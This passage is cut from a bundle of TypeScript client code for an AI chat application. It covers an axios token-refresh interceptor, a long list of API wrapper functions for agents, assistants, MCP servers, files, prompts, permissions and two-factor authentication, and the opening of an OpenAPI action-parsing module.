(isRefreshing) {\n try {\n const token = await new Promise((resolve, reject) => {\n failedQueue.push({ resolve, reject });\n });\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n return await axios(originalRequest);\n } catch (err) {\n return Promise.reject(err);\n }\n }\n\n isRefreshing = true;\n\n try {\n const response = await refreshToken(\n // Handle edge case where we get a blank screen if the initial 401 error is from a refresh token request\n originalRequest.url?.includes('api/auth/refresh') === true ? true : false,\n );\n\n const token = response?.token ?? '';\n\n if (token) {\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n dispatchTokenUpdatedEvent(token);\n processQueue(null, token);\n return await axios(originalRequest);\n } else {\n processQueue(error, null);\n window.location.href = endpoints.apiBaseUrl() + endpoints.buildLoginRedirectUrl();\n }\n } catch (err) {\n processQueue(err as AxiosError, null);\n return Promise.reject(err);\n } finally {\n isRefreshing = false;\n }\n }\n\n return Promise.reject(error);\n },\n );\n}\n\nexport default {\n get: _get,\n getResponse: _getResponse,\n post: _post,\n postMultiPart: _postMultiPart,\n postTTS: _postTTS,\n put: _put,\n delete: _delete,\n deleteWithOptions: _deleteWithOptions,\n patch: _patch,\n refreshToken,\n dispatchTokenUpdatedEvent,\n};\n","import type { AxiosResponse } from 'axios';\nimport type * as t from './types';\nimport * as endpoints from './api-endpoints';\nimport * as a from './types/assistants';\nimport * as ag from './types/agents';\nimport * as m from './types/mutations';\nimport * as q from './types/queries';\nimport * as f from './types/files';\nimport * as mcp from './types/mcpServers';\nimport * as config from './config';\nimport request from './request';\nimport * as s from './schemas';\nimport * as r from './roles';\nimport * as permissions from './accessPermissions';\n\nexport function revokeUserKey(name: string): Promise<unknown> {\n return request.delete(endpoints.revokeUserKey(name));\n}\n\nexport function revokeAllUserKeys(): Promise<unknown> {\n return request.delete(endpoints.revokeAllUserKeys());\n}\n\nexport function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {\n return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });\n}\n\nexport type FavoriteItem = {\n agentId?: string;\n model?: string;\n endpoint?: string;\n};\n\nexport function getFavorites(): Promise<FavoriteItem[]> {\n return request.get(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`);\n}\n\nexport function updateFavorites(favorites: FavoriteItem[]): Promise<FavoriteItem[]> {\n return request.post(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`, { favorites });\n}\n\nexport function getSharedMessages(shareId: string): Promise<t.TSharedMessagesResponse> {\n return request.get(endpoints.shareMessages(shareId));\n}\n\nexport const listSharedLinks = async (\n params: q.SharedLinksListParams,\n): Promise<q.SharedLinksResponse> => {\n const { pageSize, isPublic, sortBy, sortDirection, search, cursor } = params;\n\n return request.get(\n endpoints.getSharedLinks(pageSize, isPublic, sortBy, sortDirection, search, cursor),\n );\n};\n\nexport function getSharedLink(conversationId: string): Promise<t.TSharedLinkGetResponse> {\n return request.get(endpoints.getSharedLink(conversationId));\n}\n\nexport function createSharedLink(\n conversationId: string,\n targetMessageId?: string,\n): Promise<t.TSharedLinkResponse> {\n return request.post(endpoints.createSharedLink(conversationId), { targetMessageId });\n}\n\nexport function updateSharedLink(shareId: string): Promise<t.TSharedLinkResponse> {\n return request.patch(endpoints.updateSharedLink(shareId));\n}\n\nexport function deleteSharedLink(shareId: string): Promise<m.TDeleteSharedLinkResponse> {\n return request.delete(endpoints.shareMessages(shareId));\n}\n\nexport function updateUserKey(payload: t.TUpdateUserKeyRequest) {\n const { value } = payload;\n if (!value) {\n throw new Error('value is required');\n }\n\n return request.put(endpoints.keys(), payload);\n}\n\nexport function getAgentApiKeys(): Promise<t.TAgentApiKeyListResponse> {\n return request.get(endpoints.apiKeys());\n}\n\nexport function createAgentApiKey(\n payload: t.TAgentApiKeyCreateRequest,\n): Promise<t.TAgentApiKeyCreateResponse> {\n return request.post(endpoints.apiKeys(), payload);\n}\n\nexport function deleteAgentApiKey(id: string): Promise<void> {\n return request.delete(endpoints.apiKeyById(id));\n}\n\nexport function getPresets(): Promise<s.TPreset[]> {\n return request.get(endpoints.presets());\n}\n\nexport function createPreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function updatePreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function deletePreset(arg: s.TPreset | undefined): Promise<m.PresetDeleteResponse> {\n return request.post(endpoints.deletePreset(), arg);\n}\n\nexport function getSearchEnabled(): Promise<boolean> {\n return request.get(endpoints.searchEnabled());\n}\n\nexport function getUser(): Promise<t.TUser> {\n return request.get(endpoints.user());\n}\n\nexport function getUserBalance(): Promise<t.TBalanceResponse> {\n return request.get(endpoints.balance());\n}\n\nexport const updateTokenCount = (text: string) => {\n return request.post(endpoints.tokenizer(), { arg: text });\n};\n\nexport const login = (payload: t.TLoginUser): Promise<t.TLoginResponse> => {\n return request.post(endpoints.login(), payload);\n};\n\nexport const logout = (): Promise<m.TLogoutResponse> => {\n return request.post(endpoints.logout());\n};\n\nexport const register = (payload: t.TRegisterUser) => {\n return request.post(endpoints.register(), payload);\n};\n\nexport const userKeyQuery = (name: string): Promise<t.TCheckUserKeyResponse> =>\n request.get(endpoints.userKeyQuery(name));\n\nexport const getLoginGoogle = () => {\n return request.get(endpoints.loginGoogle());\n};\n\nexport const requestPasswordReset = (\n payload: t.TRequestPasswordReset,\n): Promise<t.TRequestPasswordResetResponse> => {\n return request.post(endpoints.requestPasswordReset(), payload);\n};\n\nexport const resetPassword = (payload: t.TResetPassword) => {\n return request.post(endpoints.resetPassword(), payload);\n};\n\nexport const verifyEmail = (payload: t.TVerifyEmail): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.verifyEmail(), payload);\n};\n\nexport const resendVerificationEmail = (\n payload: t.TResendVerificationEmail,\n): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.resendVerificationEmail(), payload);\n};\n\nexport const getAvailablePlugins = (): Promise<s.TPlugin[]> => {\n return request.get(endpoints.plugins());\n};\n\nexport const updateUserPlugins = (payload: t.TUpdateUserPlugins) => {\n return request.post(endpoints.userPlugins(), payload);\n};\n\nexport const reinitializeMCPServer = (serverName: string) => {\n return request.post(endpoints.mcpReinitialize(serverName));\n};\n\nexport const bindMCPOAuth = (serverName: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.mcpOAuthBind(serverName));\n};\n\nexport const bindActionOAuth = (actionId: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.actionOAuthBind(actionId));\n};\n\nexport const getMCPConnectionStatus = (): Promise<q.MCPConnectionStatusResponse> => {\n return request.get(endpoints.mcpConnectionStatus());\n};\n\nexport const getMCPServerConnectionStatus = (\n serverName: string,\n): Promise<q.MCPServerConnectionStatusResponse> => {\n return request.get(endpoints.mcpServerConnectionStatus(serverName));\n};\n\nexport const getMCPAuthValues = (serverName: string): Promise<q.MCPAuthValuesResponse> => {\n return request.get(endpoints.mcpAuthValues(serverName));\n};\n\nexport function cancelMCPOAuth(serverName: string): Promise<m.CancelMCPOAuthResponse> {\n return request.post(endpoints.cancelMCPOAuth(serverName), {});\n}\n\n/* Config */\n\nexport const getStartupConfig = (): Promise<\n config.TStartupConfig & {\n mcpCustomUserVars?: Record<string, { title: string; description: string }>;\n }\n> => {\n return request.get(endpoints.config());\n};\n\nexport const getAIEndpoints = (): Promise<t.TEndpointsConfig> => {\n return request.get(endpoints.aiEndpoints());\n};\n\nexport const getModels = async (): Promise<t.TModelsConfig> => {\n return request.get(endpoints.models());\n};\n\n/* Assistants */\n\nexport const createAssistant = ({\n version,\n ...data\n}: a.AssistantCreateParams): Promise<a.Assistant> => {\n return request.post(endpoints.assistants({ version }), data);\n};\n\nexport const getAssistantById = ({\n endpoint,\n assistant_id,\n version,\n}: {\n endpoint: s.AssistantsEndpoint;\n assistant_id: string;\n version: number | string | number;\n}): Promise<a.Assistant> => {\n return request.get(\n endpoints.assistants({\n path: assistant_id,\n endpoint,\n version,\n }),\n );\n};\n\nexport const updateAssistant = ({\n assistant_id,\n data,\n version,\n}: {\n assistant_id: string;\n data: a.AssistantUpdateParams;\n version: number | string;\n}): Promise<a.Assistant> => {\n return request.patch(\n endpoints.assistants({\n path: assistant_id,\n version,\n }),\n data,\n );\n};\n\nexport const deleteAssistant = ({\n assistant_id,\n model,\n endpoint,\n version,\n}: m.DeleteAssistantBody & { version: number | string }): Promise<void> => {\n return request.delete(\n endpoints.assistants({\n path: assistant_id,\n options: { model, endpoint },\n version,\n }),\n );\n};\n\nexport const listAssistants = (\n params: a.AssistantListParams,\n version: number | string,\n): Promise<a.AssistantListResponse> => {\n return request.get(\n endpoints.assistants({\n version,\n options: params,\n }),\n );\n};\n\nexport function getAssistantDocs({\n endpoint,\n version,\n}: {\n endpoint: s.AssistantsEndpoint | string;\n version: number | string;\n}): Promise<a.AssistantDocument[]> {\n if (!s.isAssistantsEndpoint(endpoint)) {\n return Promise.resolve([]);\n }\n return request.get(\n endpoints.assistants({\n path: 'documents',\n version,\n options: { endpoint },\n endpoint: endpoint as s.AssistantsEndpoint,\n }),\n );\n}\n\n/* Tools */\n\nexport const getAvailableTools = (\n _endpoint: s.AssistantsEndpoint | s.EModelEndpoint.agents,\n version?: number | string,\n): Promise<s.TPlugin[]> => {\n let path = '';\n if (s.isAssistantsEndpoint(_endpoint)) {\n const endpoint = _endpoint as s.AssistantsEndpoint;\n path = endpoints.assistants({\n path: 'tools',\n endpoint: endpoint,\n version: version ?? config.defaultAssistantsVersion[endpoint],\n });\n } else {\n path = endpoints.agents({\n path: 'tools',\n });\n }\n\n return request.get(path);\n};\n\n/* MCP Tools - Decoupled from regular tools */\n\nexport const getMCPTools = (): Promise<q.MCPServersResponse> => {\n return request.get(endpoints.mcp.tools);\n};\n\nexport const getVerifyAgentToolAuth = (\n params: q.VerifyToolAuthParams,\n): Promise<q.VerifyToolAuthResponse> => {\n return request.get(\n endpoints.agents({\n path: `tools/${params.toolId}/auth`,\n }),\n );\n};\n\nexport const callTool = <T extends m.ToolId>({\n toolId,\n toolParams,\n}: {\n toolId: T;\n toolParams: m.ToolParams<T>;\n}): Promise<m.ToolCallResponse> => {\n return request.post(\n endpoints.agents({\n path: `tools/${toolId}/call`,\n }),\n toolParams,\n );\n};\n\nexport const getToolCalls = (params: q.GetToolCallParams): Promise<q.ToolCallResults> => {\n return request.get(\n endpoints.agents({\n path: 'tools/calls',\n options: params,\n }),\n );\n};\n\n/* Files */\n\nexport const getFiles = (): Promise<f.TFile[]> => {\n return request.get(endpoints.files());\n};\n\nexport const getAgentFiles = (agentId: string): Promise<f.TFile[]> => {\n return request.get(endpoints.agentFiles(agentId));\n};\n\nexport const getFileConfig = (): Promise<f.FileConfig> => {\n return request.get(`${endpoints.files()}/config`);\n};\n\nexport const uploadImage = (\n data: FormData,\n signal?: AbortSignal | null,\n): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.images(), data, requestConfig);\n};\n\nexport const uploadFile = (data: FormData, signal?: AbortSignal | null): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.files(), data, requestConfig);\n};\n\n/* actions */\n\nexport const updateAction = (data: m.UpdateActionVariables): Promise<m.UpdateActionResponse> => {\n const { assistant_id, version, ...body } = data;\n return request.post(\n endpoints.assistants({\n path: `actions/${assistant_id}`,\n version,\n }),\n body,\n );\n};\n\nexport function getActions(): Promise<ag.Action[]> {\n return request.get(\n endpoints.agents({\n path: 'actions',\n }),\n );\n}\n\nexport const deleteAction = async ({\n assistant_id,\n action_id,\n model,\n version,\n endpoint,\n}: m.DeleteActionVariables & { version: number | string }): Promise<void> =>\n request.delete(\n endpoints.assistants({\n path: `actions/${assistant_id}/${action_id}/${model}`,\n version,\n endpoint,\n }),\n );\n\n/**\n * Agents\n */\n\nexport const createAgent = ({ ...data }: a.AgentCreateParams): Promise<a.Agent> => {\n return request.post(endpoints.agents({}), data);\n};\n\nexport const getAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const getExpandedAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: `${agent_id}/expanded`,\n }),\n );\n};\n\nexport const updateAgent = ({\n agent_id,\n data,\n}: {\n agent_id: string;\n data: a.AgentUpdateParams;\n}): Promise<a.Agent> => {\n return request.patch(\n endpoints.agents({\n path: agent_id,\n }),\n data,\n );\n};\n\nexport const duplicateAgent = ({\n agent_id,\n}: m.DuplicateAgentBody): Promise<{ agent: a.Agent; actions: ag.Action[] }> => {\n return request.post(\n endpoints.agents({\n path: `${agent_id}/duplicate`,\n }),\n );\n};\n\nexport const deleteAgent = ({ agent_id }: m.DeleteAgentBody): Promise<void> => {\n return request.delete(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const listAgents = (params: a.AgentListParams): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n options: params,\n }),\n );\n};\n\nexport const revertAgentVersion = ({\n agent_id,\n version_index,\n}: {\n agent_id: string;\n version_index: number;\n}): Promise<a.Agent> => request.post(endpoints.revertAgentVersion(agent_id), { version_index });\n\n/* Marketplace */\n\n/**\n * Get agent categories with counts for marketplace tabs\n */\nexport const getAgentCategories = (): Promise<t.TMarketplaceCategory[]> => {\n return request.get(endpoints.agents({ path: 'categories' }));\n};\n\n/**\n * Unified marketplace agents endpoint with query string controls\n */\nexport const getMarketplaceAgents = (params: {\n requiredPermission: number;\n category?: string;\n search?: string;\n limit?: number;\n cursor?: string;\n promoted?: 0 | 1;\n}): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n // path: 'marketplace',\n options: params,\n }),\n );\n};\n\n/* Tools */\n\nexport const getAvailableAgentTools = (): Promise<s.TPlugin[]> => {\n return request.get(\n endpoints.agents({\n path: 'tools',\n }),\n );\n};\n\n/* Actions */\n\nexport const updateAgentAction = (\n data: m.UpdateAgentActionVariables,\n): Promise<m.UpdateAgentActionResponse> => {\n const { agent_id, ...body } = data;\n return request.post(\n endpoints.agents({\n path: `actions/${agent_id}`,\n }),\n body,\n );\n};\n\nexport const deleteAgentAction = async ({\n agent_id,\n action_id,\n}: m.DeleteAgentActionVariables): Promise<void> =>\n request.delete(\n endpoints.agents({\n path: `actions/${agent_id}/${action_id}`,\n }),\n );\n\n/**\n * MCP Servers\n */\n\n/**\n *\n * Ensure and List loaded mcp server configs from the cache Enriched with effective permissions.\n */\nexport const getMCPServers = async (): Promise<mcp.MCPServersListResponse> => {\n return request.get(endpoints.mcp.servers);\n};\n\n/**\n * Get a single MCP server by ID\n */\nexport const getMCPServer = async (serverName: string): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.get(endpoints.mcpServer(serverName));\n};\n\n/**\n * Create a new MCP server\n */\nexport const createMCPServer = async (\n data: mcp.MCPServerCreateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.post(endpoints.mcp.servers, data);\n};\n\n/**\n * Update an existing MCP server\n */\nexport const updateMCPServer = async (\n serverName: string,\n data: mcp.MCPServerUpdateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.patch(endpoints.mcpServer(serverName), data);\n};\n\n/**\n * Delete an MCP server\n */\nexport const deleteMCPServer = async (serverName: string): Promise<{ success: boolean }> => {\n return request.delete(endpoints.mcpServer(serverName));\n};\n\n/**\n * Imports a conversations file.\n *\n * @param data - The FormData containing the file to import.\n * @returns A Promise that resolves to the import start response.\n */\nexport const importConversationsFile = (data: FormData): Promise<t.TImportResponse> => {\n return request.postMultiPart(endpoints.importConversation(), data);\n};\n\nexport const uploadAvatar = (data: FormData): Promise<f.AvatarUploadResponse> => {\n return request.postMultiPart(endpoints.avatar(), data);\n};\n\nexport const uploadAssistantAvatar = (data: m.AssistantAvatarVariables): Promise<a.Assistant> => {\n return request.postMultiPart(\n endpoints.assistants({\n isAvatar: true,\n path: `${data.assistant_id}/avatar`,\n options: { model: data.model, endpoint: data.endpoint },\n version: data.version,\n }),\n data.formData,\n );\n};\n\nexport const uploadAgentAvatar = (data: m.AgentAvatarVariables): Promise<a.Agent> => {\n return request.postMultiPart(\n `${endpoints.images()}/agents/${data.agent_id}/avatar`,\n data.formData,\n );\n};\n\nexport const getFileDownload = async (userId: string, file_id: string): Promise<AxiosResponse> => {\n return request.getResponse(`${endpoints.files()}/download/${userId}/${file_id}`, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const getCodeOutputDownload = async (url: string): Promise<AxiosResponse> => {\n return request.getResponse(url, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const deleteFiles = async (payload: {\n files: f.BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: a.EToolResources;\n}): Promise<f.DeleteFilesResponse> =>\n request.deleteWithOptions(endpoints.files(), {\n data: payload,\n });\n\n/* Speech */\n\nexport const speechToText = (data: FormData): Promise<f.SpeechToTextResponse> => {\n return request.postMultiPart(endpoints.speechToText(), data);\n};\n\nexport const textToSpeech = (data: FormData): Promise<ArrayBuffer> => {\n return request.postTTS(endpoints.textToSpeechManual(), data);\n};\n\nexport const getVoices = (): Promise<f.VoiceResponse> => {\n return request.get(endpoints.textToSpeechVoices());\n};\n\nexport const getCustomConfigSpeech = (): Promise<t.TCustomConfigSpeechResponse> => {\n return request.get(endpoints.getCustomConfigSpeech());\n};\n\n/* conversations */\n\nexport function duplicateConversation(\n payload: t.TDuplicateConvoRequest,\n): Promise<t.TDuplicateConvoResponse> {\n return request.post(endpoints.duplicateConversation(), payload);\n}\n\nexport function forkConversation(payload: t.TForkConvoRequest): Promise<t.TForkConvoResponse> {\n return request.post(endpoints.forkConversation(), payload);\n}\n\nexport function deleteConversation(payload: t.TDeleteConversationRequest) {\n return request.deleteWithOptions(endpoints.deleteConversation(), { data: { arg: payload } });\n}\n\nexport function clearAllConversations(): Promise<unknown> {\n return request.delete(endpoints.deleteAllConversation());\n}\n\nexport const listConversations = (\n params?: q.ConversationListParams,\n): Promise<q.ConversationListResponse> => {\n return request.get(endpoints.conversations(params ?? {}));\n};\n\nexport function getConversations(cursor: string): Promise<t.TGetConversationsResponse> {\n return request.get(endpoints.conversations({ cursor }));\n}\n\nexport function getConversationById(id: string): Promise<s.TConversation> {\n return request.get(endpoints.conversationById(id));\n}\n\nexport function updateConversation(\n payload: t.TUpdateConversationRequest,\n): Promise<t.TUpdateConversationResponse> {\n return request.post(endpoints.updateConversation(), { arg: payload });\n}\n\nexport function archiveConversation(\n payload: t.TArchiveConversationRequest,\n): Promise<t.TArchiveConversationResponse> {\n return request.post(endpoints.archiveConversation(), { arg: payload });\n}\n\nexport function genTitle(payload: m.TGenTitleRequest): Promise<m.TGenTitleResponse> {\n return request.get(endpoints.genTitle(payload.conversationId));\n}\n\nexport const listMessages = (params?: q.MessagesListParams): Promise<q.MessagesListResponse> => {\n return request.get(endpoints.messages(params ?? {}));\n};\n\nexport function updateMessage(payload: t.TUpdateMessageRequest): Promise<unknown> {\n const { conversationId, messageId, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text });\n}\n\nexport function updateMessageContent(payload: t.TUpdateMessageContent): Promise<unknown> {\n const { conversationId, messageId, index, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text, index });\n}\n\nexport const editArtifact = async ({\n messageId,\n ...params\n}: m.TEditArtifactRequest): Promise<m.TEditArtifactResponse> => {\n return request.post(endpoints.messagesArtifacts(messageId), params);\n};\n\nexport const branchMessage = async (\n payload: m.TBranchMessageRequest,\n): Promise<m.TBranchMessageResponse> => {\n return request.post(endpoints.messagesBranch(), payload);\n};\n\nexport function getMessagesByConvoId(conversationId: string): Promise<s.TMessage[]> {\n if (\n conversationId === config.Constants.NEW_CONVO ||\n conversationId === config.Constants.PENDING_CONVO\n ) {\n return Promise.resolve([]);\n }\n return request.get(endpoints.messages({ conversationId }));\n}\n\nexport function getPrompt(id: string): Promise<{ prompt: t.TPrompt }> {\n return request.get(endpoints.getPrompt(id));\n}\n\nexport function getPrompts(filter: t.TPromptsWithFilterRequest): Promise<t.TPrompt[]> {\n return request.get(endpoints.getPromptsWithFilters(filter));\n}\n\nexport function getAllPromptGroups(): Promise<q.AllPromptGroupsResponse> {\n return request.get(endpoints.getAllPromptGroups());\n}\n\nexport function getPromptGroups(\n filter: t.TPromptGroupsWithFilterRequest,\n): Promise<t.PromptGroupListResponse> {\n return request.get(endpoints.getPromptGroupsWithFilters(filter));\n}\n\nexport function getPromptGroup(id: string): Promise<t.TPromptGroup> {\n return request.get(endpoints.getPromptGroup(id));\n}\n\nexport function createPrompt(payload: t.TCreatePrompt): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.postPrompt(), payload);\n}\n\nexport function addPromptToGroup(\n groupId: string,\n payload: t.TCreatePrompt,\n): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.addPromptToGroup(groupId), payload);\n}\n\nexport function updatePromptGroup(\n variables: t.TUpdatePromptGroupVariables,\n): Promise<t.TUpdatePromptGroupResponse> {\n return request.patch(endpoints.updatePromptGroup(variables.id), variables.payload);\n}\n\nexport function recordPromptGroupUsage(groupId: string): Promise<{ numberOfGenerations: number }> {\n return request.post(endpoints.recordPromptGroupUsage(groupId));\n}\n\nexport function deletePrompt(payload: t.TDeletePromptVariables): Promise<t.TDeletePromptResponse> {\n return request.delete(endpoints.deletePrompt(payload));\n}\n\nexport function makePromptProduction(id: string): Promise<t.TMakePromptProductionResponse> {\n return request.patch(endpoints.updatePromptTag(id));\n}\n\nexport function updatePromptLabels(\n variables: t.TUpdatePromptLabelsRequest,\n): Promise<t.TUpdatePromptLabelsResponse> {\n return request.patch(endpoints.updatePromptLabels(variables.id), variables.payload);\n}\n\nexport function deletePromptGroup(id: string): Promise<t.TDeletePromptGroupResponse> {\n return request.delete(endpoints.deletePromptGroup(id));\n}\n\nexport function getCategories(): Promise<t.TGetCategoriesResponse> {\n return request.get(endpoints.getCategories());\n}\n\nexport function getRandomPrompts(\n variables: t.TGetRandomPromptsRequest,\n): Promise<t.TGetRandomPromptsResponse> {\n return request.get(endpoints.getRandomPrompts(variables.limit, variables.skip));\n}\n\n/* Roles */\nexport function getRole(roleName: string): Promise<r.TRole> {\n return request.get(endpoints.getRole(roleName));\n}\n\nexport function updatePromptPermissions(\n variables: m.UpdatePromptPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updatePromptPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateAgentPermissions(\n variables: m.UpdateAgentPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateAgentPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateMemoryPermissions(\n variables: m.UpdateMemoryPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMemoryPermissions(variables.roleName), variables.updates);\n}\n\nexport function updatePeoplePickerPermissions(\n variables: m.UpdatePeoplePickerPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updatePeoplePickerPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMCPServersPermissions(\n variables: m.UpdateMCPServersPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMCPServersPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateRemoteAgentsPermissions(\n variables: m.UpdateRemoteAgentsPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updateRemoteAgentsPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMarketplacePermissions(\n variables: m.UpdateMarketplacePermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMarketplacePermissions(variables.roleName), variables.updates);\n}\n\n/* Tags */\nexport function getConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.get(endpoints.conversationTags());\n}\n\nexport function createConversationTag(\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.post(endpoints.conversationTags(), payload);\n}\n\nexport function updateConversationTag(\n tag: string,\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.put(endpoints.conversationTags(tag), payload);\n}\nexport function deleteConversationTag(tag: string): Promise<t.TConversationTagResponse> {\n return request.delete(endpoints.conversationTags(tag));\n}\n\nexport function addTagToConversation(\n conversationId: string,\n payload: t.TTagConversationRequest,\n): Promise<t.TTagConversationResponse> {\n return request.put(endpoints.addTagToConversation(conversationId), payload);\n}\nexport function rebuildConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.post(endpoints.conversationTags('rebuild'));\n}\n\nexport function healthCheck(): Promise<string> {\n return request.get(endpoints.health());\n}\n\nexport function getUserTerms(): Promise<t.TUserTermsResponse> {\n return request.get(endpoints.userTerms());\n}\n\nexport function acceptTerms(): Promise<t.TAcceptTermsResponse> {\n return request.post(endpoints.acceptUserTerms());\n}\n\nexport function getBanner(): Promise<t.TBannerResponse> {\n return request.get(endpoints.banner());\n}\n\nexport function updateFeedback(\n conversationId: string,\n messageId: string,\n payload: t.TUpdateFeedbackRequest,\n): Promise<t.TUpdateFeedbackResponse> {\n return request.put(endpoints.feedback(conversationId, messageId), payload);\n}\n\n// 2FA\nexport function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {\n return request.post(endpoints.enableTwoFactor(), payload);\n}\n\nexport function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.verifyTwoFactor(), payload);\n}\n\nexport function confirmTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.confirmTwoFactor(), payload);\n}\n\nexport function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDisable2FAResponse> {\n return request.post(endpoints.disableTwoFactor(), payload);\n}\n\nexport function regenerateBackupCodes(\n payload?: t.TRegenerateBackupCodesRequest,\n): Promise<t.TRegenerateBackupCodesResponse> {\n return request.post(endpoints.regenerateBackupCodes(), payload);\n}\n\nexport function verifyTwoFactorTemp(\n payload: t.TVerify2FATempRequest,\n): Promise<t.TVerify2FATempResponse> {\n return request.post(endpoints.verifyTwoFactorTemp(), payload);\n}\n\n/* Memories */\nexport const getMemories = (): Promise<q.MemoriesResponse> => {\n return request.get(endpoints.memories());\n};\n\nexport const deleteMemory = (key: string): Promise<void> => {\n return request.delete(endpoints.memory(key));\n};\n\nexport const updateMemory = (\n key: string,\n value: string,\n originalKey?: string,\n): Promise<q.TUserMemory> => {\n return request.patch(endpoints.memory(originalKey || key), { key, value });\n};\n\nexport const updateMemoryPreferences = (preferences: {\n memories: boolean;\n}): Promise<{ updated: boolean; preferences: { memories: boolean } }> => {\n return request.patch(endpoints.memoryPreferences(), preferences);\n};\n\nexport const createMemory = (data: {\n key: string;\n value: string;\n}): Promise<{ created: boolean; memory: q.TUserMemory }> => {\n return request.post(endpoints.memories(), data);\n};\n\nexport function searchPrincipals(\n params: q.PrincipalSearchParams,\n): Promise<q.PrincipalSearchResponse> {\n return request.get(endpoints.searchPrincipals(params));\n}\n\nexport function getAccessRoles(\n resourceType: permissions.ResourceType,\n): Promise<q.AccessRolesResponse> {\n return request.get(endpoints.getAccessRoles(resourceType));\n}\n\nexport function getResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TGetResourcePermissionsResponse> {\n return request.get(endpoints.getResourcePermissions(resourceType, resourceId));\n}\n\nexport function updateResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n data: permissions.TUpdateResourcePermissionsRequest,\n): Promise<permissions.TUpdateResourcePermissionsResponse> {\n return request.put(endpoints.updateResourcePermissions(resourceType, resourceId), data);\n}\n\nexport function getEffectivePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TEffectivePermissionsResponse> {\n return request.get(endpoints.getEffectivePermissions(resourceType, resourceId));\n}\n\nexport function getAllEffectivePermissions(\n resourceType: permissions.ResourceType,\n): Promise<permissions.TAllEffectivePermissionsResponse> {\n return request.get(endpoints.getAllEffectivePermissions(resourceType));\n}\n\n// SharePoint Graph API Token\nexport function getGraphApiToken(params: q.GraphTokenParams): Promise<q.GraphTokenResponse> {\n return request.get(endpoints.graphToken(params.scopes));\n}\n\nexport function getDomainServerBaseUrl(): string {\n return `${endpoints.apiBaseUrl()}/api`;\n}\n\n/* Active Jobs */\nexport interface ActiveJobsResponse {\n activeJobIds: string[];\n}\n\nexport const getActiveJobs = (): Promise<ActiveJobsResponse> => {\n return request.get(endpoints.activeJobs());\n};\n","import { z } from 'zod';\nimport { URL } from 'url';\nimport _axios from 'axios';\nimport crypto from 'crypto';\nimport { load } from 'js-yaml';\nimport type { ActionMetadata, ActionMetadataRuntime } from './types/agents';\nimport type { FunctionTool, Schema, Reference } from './types/assistants';\nimport { AuthTypeEnum, AuthorizationTypeEnum } from './types/agents';\nimport type { OpenAPIV3 } from 'openapi-types';\nimport { Tools } from './types/assistants';\n\nexport type ParametersSchema = {\n type: string;\n properties: Record<string, Reference | Schema>;\n required: string[];\n additionalProperties?: boolean;\n};\n\nexport type OpenAPISchema = OpenAPIV3.SchemaObject &\n ParametersSchema & {\n items?: OpenAPIV3.ReferenceObject | OpenAPIV3.SchemaObject;\n };\n\nexport type ApiKeyCredentials = {\n api_key: string;\n custom_auth_header?: string;\n authorization_type?: AuthorizationTypeEnum;\n};\n\nexport type OAuthCredentials = {\n tokenUrl: 